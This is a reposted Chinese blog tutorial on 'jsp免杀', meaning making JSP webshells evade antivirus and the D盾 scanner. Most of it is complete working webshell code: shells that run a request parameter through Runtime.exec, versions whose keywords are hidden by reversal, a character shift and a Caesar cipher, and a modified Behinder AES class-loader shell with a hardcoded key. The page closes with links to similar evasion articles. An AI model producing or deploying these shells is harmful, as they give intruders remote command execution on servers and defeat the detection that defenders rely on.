webshell之jsp免杀
webshell之jsp免杀
转载自webshell免杀研究
原理
向服务器端发送恶意代码写成的文件(即:shell),客户端通过远程连接,利用shell连接到服务器,并可对服务器进行操作。
结构
实现三步
- 数据的传递
- 执行所传递的数据
- 回显
数据传递
String x = request.getParameter("x");
执行所传递的数据
Class rt = Class.forName("java.lang.Runtime");
Method gr = rt.getMethod("getRuntime"); //获取getRuntime方法
Method ex = rt.getMethod("exec", String.class); //获取exec方法
Process e = (Process) ex.invoke(gr.invoke(null), x);
回显
#in为执行返回结果
int a=-1;
byte[] b = new byte[2048];
out.print("<pre>");
while((a=in.read(b))!=-1){out.println(new String(b));
}
out.print("</pre>");
免杀思路
jsp类型webshell数据传入、回显两个部分都是很正常的代码,一般程序中都会使用,不会触发检测规则。
所以需要重点关注杀毒软件对执行这个部分的检测
免杀
将以上三个部分拼接出来就是正常的通过类反射执行的回显webshell:
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Method"%>
<%
String x = request.getParameter("x");
if(x!=null){Class rt = Class.forName("java.lang.Runtime");Method gr = rt.getMethod("getRuntime"); //获取getRuntime方法Method ex = rt.getMethod("exec", String.class); //获取exec方法Process e = (Process) ex.invoke(gr.invoke(null), x);java.io.InputStream in = e.getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");
}
%>
由于其仍然含有java.lang.Runtime、getRuntime、exec等关键字,仍然会被安全软件检测,我们的免杀主要也针对这几个关键字符串。
比如通过ascii、hex、base64等方式传入不含有这些特征的关键字,但是因为用的过多,目前也被列入已知后门,所以最好这里是自定义编码方式或转换方式,比如异或,移位,反转,栅栏等各种操作缝合的方式。
反转字符串
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Method"%>
<%!public static String reverseStr(String str){String reverse = "";int length = str.length();for (int i = 0; i < length; i++){reverse = str.charAt(i) + reverse;}return reverse;}%>
<%
String x = request.getParameter("x");
if(x!=null){Class rt = Class.forName(reverseStr("emitnuR.gnal.avaj"));Method gr = rt.getMethod(reverseStr("emitnuRteg"));Method ex = rt.getMethod(reverseStr("cexe"), String.class);Process e = (Process) ex.invoke(gr.invoke(null), x);java.io.InputStream in = e.getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");
}
%>
移位5位
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Method"%>
<%!public static String eStr(String str){String result = "";int length = str.length();for (int i = 0; i < length; i++){char z=str.charAt(i);z=(char)(z-5);result=result+z;}return result;}%>
<%
if(request.getParameter("x")!=null){Class rt = Class.forName(eStr("of{f3qfsl3Wzsynrj"));
Process e = (Process) rt.getMethod(new String(eStr("j}jh")), String.class).invoke(rt.getMethod(new String(eStr("ljyWzsynrj"))).invoke(null, new Object[]{}), request.getParameter("x") );
java.io.InputStream in = e.getInputStream();int a = -1;byte[] b = new byte[2048];
out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");}
%>
小写字母凯撒密码
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%@ page import="java.lang.reflect.Method"%>
<%!public static String plusStr(String str){String plus = "";int length = str.length();for (int i = 0; i < length; i++){char z = str.charAt(i);
if(z>='a'&&z<='w'){z=(char)(z+3);plus=plus+z;}
else if(z>='x'&&z<='z'){z=(char)(z-23);plus=plus+z;}
else{plus=plus+z;}}return plus;}
%>
<%
String x = request.getParameter("x");
if(x!=null){Class rt = Class.forName(plusStr("gxsx.ixkd.Rrkqfjb"));Method gr = rt.getMethod(plusStr("dbqRrkqfjb"));Method ex = rt.getMethod(plusStr("bubz"), String.class);Process e = (Process) ex.invoke(gr.invoke(null), x);java.io.InputStream in = e.getInputStream();int a = -1;byte[] b = new byte[2048];out.print("<pre>");while((a=in.read(b))!=-1){out.println(new String(b));}out.print("</pre>");
}
%>
冰蝎改造
冰蝎默认马:
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}
public Class g(byte []b){return super.defineClass(b,0,b.length);}}%>
<%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
经过二分法,D盾查杀特征在最后这句
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
参考了yzddmr6的方法,拆分或使用类似语句替换,所以使用Base64.getDecoder()替换原本特征,并把request.getReader().readLine()单独取出来,破坏D盾识别的特征。当然也可以拆分该语句的其他部分,破坏特征。
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%>
<%!class U extends ClassLoader{U(ClassLoader c){super(c);}
public Class g(byte []b){return super.defineClass(b,0,b.length);}}%>
<%if (request.getMethod().equals("POST")){
String k="e45e329feb5d925b";
session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
String input= request.getReader().readLine();
new U(this.getClass().getClassLoader()).g(c.doFinal(Base64.getDecoder().decode(input))).newInstance().equals(pageContext);
}%>
最终D盾对本文提到的多种webshell都是可以免杀的
webshell之jsp免杀相关推荐
- CTF-web 第十部分 webshell基础与免杀
一.什么是webshell (1)webshell简介 webshell,顾名思义:web指的是在web服务器上,而shell是用脚本语言编写的脚本程序,webshell就是就是web的一个管理工具, ...
- 红与蓝:现代Webshell检测引擎免杀对抗与实践
上半年Webshell话题很火,业界举办了数场对抗挑战赛,也发布了多篇站在安全产品侧,着重查杀思路的精彩文章,但鲜有看到以蓝军视角为主的paper. 作为多场挑战赛的参赛者及内部红蓝对抗的参与者,笔者 ...
- Webshell免杀-JSP
前言 在很多渗透测试利用的过程中,渗透人员会通过上传webshell的方式来获取目标服务器的权限.然而及时webshell文件能够正常上传,后续有可能会被管理员当作木马文件删除,上传的过程中也会被安全 ...
- WebShell 木马免杀过WAF
就算木马能正常运行,那么过段时间会不会被管理员杀掉?如何免杀?上面虽然木马上传成功了,但是只要管理员一杀毒,全部都能杀出来.而且,还会很明确的说这是后门.因此,作为攻击者就得会各种免杀技巧. 防御者的 ...
- Webshell免杀-PHP
前言 在很多渗透测试利用的过程中,渗透人员会通过上传webshell的方式来获取目标服务器的权限.然而及时webshell文件能够正常上传,后续有可能会被管理员当作木马文件删除,上传的过程中也会被安全 ...
- webshell免杀的一些学习和思考——以PHP为例
目录 前言 一.关于webshell 1.数据传递 (1)HTTP请求中获取数据 (2)从远程URL中获取数据 (3)从磁盘文件中获取数据 (4)从数据库中读取 (5)从图片头部中获取 2.代码执行 ...
- JSP webshell免杀——webshell免杀
好搞笑,我身边的人省护期间天天提到许少,听说是一个很厉害的大佬. 结果我免杀跟着学的视频就是这位大佬的. 更离谱的是,聪哥说我们是见过许少的,就是上次给红队整理报告的时候,他就在. 果然,实习就是好, ...
- 黑客术语肉鸡、后门、弱口令、shell、webshell、注入、端口、免杀、加壳、漏洞等
黑客术语 1.肉鸡: 所谓"肉鸡"是一种很形象的比喻,比喻那些可以随意被我们控制的电脑,对方可以是WINDOWS系统,也可以是UNIX/LINUX系统,可以是普通的个人电脑,也可以 ...
- 【网络安全】一些webshell免杀的技巧
前言 由于杀软的规则在不断更新 所以很多之前的过杀软方法基本上都不行了 而且随着php7逐渐扩张 assert马也将被淘汰 所以本文将提出几种免杀思路 效果很好 而且不会被杀软的正则和沙盒规则约束. ...
最新文章
- BZOJ 2142 礼物(拓展Lucas,中国剩余定理)【BZOJ修复工程】
- java开源springboot项目_springBoot 搭建web项目(前后端分离,附项目源代码地址)...
- 磁盘空间去向不明的问题
- 写作工具_4种加快数据科学写作速度的工具
- java 数据字典 spring_springboot+redis+切面实现数据字典功能
- 牛客OI周赛2-提高组
- 电脑任务管理器_Windows任务管理器突然打不开了
- [国嵌攻略][125][总线设备驱动模型]
- AndroidStudio_使用gradle编译代码_打包apk_以及各种打包配置---Android原生开发工作笔记79
- excel 汇总 mysql_利用mysql收集excel录入汇总
- 阿克曼(Ackermann)函数
- 互联网晚报 | 1月10日 星期一 | 天猫年货节正式开启;哪吒汽车第10万台量产车下线;三星永久关闭Tizen应用商店...
- android高仿苹果计算器,安卓仿苹果计算器(内附完整源码)要点解析.docx
- 教你解决路由黑洞5招
- C#窗体Click事件没反应
- Markdown基本语法笔记
- 浙江台州“安乐死”案承办法官首次披露庭审细节
- 经验分享:个人网站如何备案?
- 如何获取imei 和meid
- pycharm自定义模板代码